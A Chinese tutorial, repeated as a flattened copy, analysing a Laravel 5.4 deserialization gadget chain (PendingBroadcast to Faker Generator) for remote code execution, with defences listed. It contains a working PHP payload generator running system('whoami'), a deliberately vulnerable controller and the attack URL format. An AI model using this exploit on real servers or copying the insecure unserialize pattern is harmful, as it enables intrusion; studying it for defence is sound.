laravel-5.4-序列化导致rce
字数 1938 2025-08-06 08:35:22

Laravel 5.4 反序列化漏洞分析与利用

漏洞概述

本文详细分析 Laravel 5.4 框架中存在的反序列化漏洞,该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE)。漏洞利用链较短,理解起来相对简单,适合初学者学习反序列化漏洞的原理和利用方法。

环境搭建

  1. 下载 Laravel 5.4

    • 官方安装包下载地址获取 Laravel 5.4
    • 使用 PHPStudy 等工具快速搭建环境
  2. 基本环境要求

    • PHP 版本需兼容 Laravel 5.4
    • 确保已安装必要的 PHP 扩展

漏洞分析

反序列化入口点

在 PHP 中,反序列化漏洞通常从以下魔术方法开始寻找:

  • __wakeup():在使用 unserialize() 时触发
  • __destruct():在对象被销毁时触发

关键类分析

  1. PendingBroadcast

    • 位于 Illuminate\Broadcasting\PendingBroadcast
    • 包含两个可控属性:
      • protected $events
      • protected $event
    • __destruct() 方法会调用 $this->events->dispatch($this->event)
  2. 利用思路

    • 控制 $this->events 为特定对象
    • 控制 $this->event 作为参数
    • 有两种利用方式:
      1. 寻找具有 dispatch 方法的类
      2. 寻找具有 __call 魔术方法且没有 dispatch 方法的类
  3. Generator

    • 位于 Faker\Generator
    • 当调用不存在的方法时会触发 __call 魔术方法
    • __call 方法会调用 format() 方法
    • format() 方法中使用 call_user_func_array($this->getFormatter($formatter), $arguments)
    • getFormatter() 方法返回 $this->formatters[$formatter],这个值可控

漏洞利用链

  1. 构造 PendingBroadcast 对象:

    • $events 设置为 Generator 对象
    • $event 设置为要执行的命令
  2. 构造 Generator 对象:

    • $formatters 数组设置 'dispatch' 键为要执行的函数名(如 system
  3. 调用流程:

    • 反序列化触发 PendingBroadcast__destruct
    • 调用 $events->dispatch($event),其中 $eventsGenerator 对象
    • 由于 Generator 没有 dispatch 方法,触发 __call
    • __call 调用 format() 方法
    • format() 调用 call_user_func_array 执行我们控制的函数和参数

漏洞验证

  1. 创建测试路由
    /routes/web.php 中添加:

    Route::get("/", "\App\Http\Controllers\DemoController@demo");
    
  2. 创建控制器
    /app/Http/Controllers/ 下创建 DemoController.php

    <?php
    namespace App\Http\Controllers;
    use Illuminate\Http\Request;
    
    class DemoController extends Controller {
        public function demo() {
            if (isset($_GET['c'])) {
                $code = $_GET['c'];
                unserialize($code);
            } else {
                highlight_file(__FILE__);
            }
            return "Welcome to laravel5.4";
        }
    }
    
  3. EXP 构造

    <?php
    namespace Illuminate\Broadcasting {
        class PendingBroadcast {
            protected $events;
            protected $event;
    
            function __construct($events, $cmd) {
                $this->events = $events;
                $this->event = $cmd;
            }
        }
    }
    
    namespace Faker {
        class Generator {
            protected $formatters;
    
            function __construct($function) {
                $this->formatters = ['dispatch' => $function];
            }
        }
    }
    
    namespace {
        $a = new Faker\Generator('system');
        $b = new Illuminate\Broadcasting\PendingBroadcast($a, 'whoami');
        echo urlencode(serialize($b));
    }
    
  4. 利用方式

    • 访问 http://target/?c=[生成的payload]
    • 系统将执行 whoami 命令

调用栈分析

  1. PendingBroadcast::__destruct()
  2. Generator::__call('dispatch', $arguments)
  3. Generator::format('dispatch', $arguments)
  4. call_user_func_array($this->getFormatter('dispatch'), $arguments)
  5. 执行 system('whoami')

防御措施

  1. 升级 Laravel 框架:使用最新版本的 Laravel
  2. 避免反序列化用户输入:不要直接反序列化用户提供的输入
  3. 使用白名单机制:如果必须反序列化,限制可反序列化的类
  4. 使用签名验证:确保序列化数据的完整性和来源可信

总结

Laravel 5.4 的反序列化漏洞利用链较短,主要涉及:

  1. PendingBroadcast 类的 __destruct 方法
  2. Generator 类的 __call 魔术方法
  3. 通过 call_user_func_array 实现任意函数调用

这个漏洞是理解 PHP 反序列化漏洞的典型案例,适合初学者学习反序列化漏洞的基本原理和利用方法。

Laravel 5.4 反序列化漏洞分析与利用 漏洞概述 本文详细分析 Laravel 5.4 框架中存在的反序列化漏洞,该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE)。漏洞利用链较短,理解起来相对简单,适合初学者学习反序列化漏洞的原理和利用方法。 环境搭建 下载 Laravel 5.4 : 官方安装包下载地址获取 Laravel 5.4 使用 PHPStudy 等工具快速搭建环境 基本环境要求 : PHP 版本需兼容 Laravel 5.4 确保已安装必要的 PHP 扩展 漏洞分析 反序列化入口点 在 PHP 中,反序列化漏洞通常从以下魔术方法开始寻找: __wakeup() :在使用 unserialize() 时触发 __destruct() :在对象被销毁时触发 关键类分析 PendingBroadcast 类 : 位于 Illuminate\Broadcasting\PendingBroadcast 包含两个可控属性: protected $events protected $event 其 __destruct() 方法会调用 $this->events->dispatch($this->event) 利用思路 : 控制 $this->events 为特定对象 控制 $this->event 作为参数 有两种利用方式: 寻找具有 dispatch 方法的类 寻找具有 __call 魔术方法且没有 dispatch 方法的类 Generator 类 : 位于 Faker\Generator 当调用不存在的方法时会触发 __call 魔术方法 __call 方法会调用 format() 方法 format() 方法中使用 call_user_func_array($this->getFormatter($formatter), $arguments) getFormatter() 方法返回 $this->formatters[$formatter] ,这个值可控 漏洞利用链 构造 PendingBroadcast 对象: $events 设置为 Generator 对象 $event 设置为要执行的命令 构造 Generator 对象: $formatters 数组设置 'dispatch' 键为要执行的函数名(如 system ) 调用流程: 反序列化触发 PendingBroadcast 的 __destruct 调用 $events->dispatch($event) ,其中 $events 是 Generator 对象 由于 Generator 没有 dispatch 方法,触发 __call __call 调用 format() 方法 format() 调用 call_user_func_array 执行我们控制的函数和参数 漏洞验证 创建测试路由 : 在 /routes/web.php 中添加: 创建控制器 : 在 /app/Http/Controllers/ 下创建 DemoController.php : EXP 构造 : 利用方式 : 访问 http://target/?c=[生成的payload] 系统将执行 whoami 命令 调用栈分析 PendingBroadcast::__destruct() Generator::__call('dispatch', $arguments) Generator::format('dispatch', $arguments) call_user_func_array($this->getFormatter('dispatch'), $arguments) 执行 system('whoami') 防御措施 升级 Laravel 框架 :使用最新版本的 Laravel 避免反序列化用户输入 :不要直接反序列化用户提供的输入 使用白名单机制 :如果必须反序列化,限制可反序列化的类 使用签名验证 :确保序列化数据的完整性和来源可信 总结 Laravel 5.4 的反序列化漏洞利用链较短,主要涉及: PendingBroadcast 类的 __destruct 方法 Generator 类的 __call 魔术方法 通过 call_user_func_array 实现任意函数调用 这个漏洞是理解 PHP 反序列化漏洞的典型案例,适合初学者学习反序列化漏洞的基本原理和利用方法。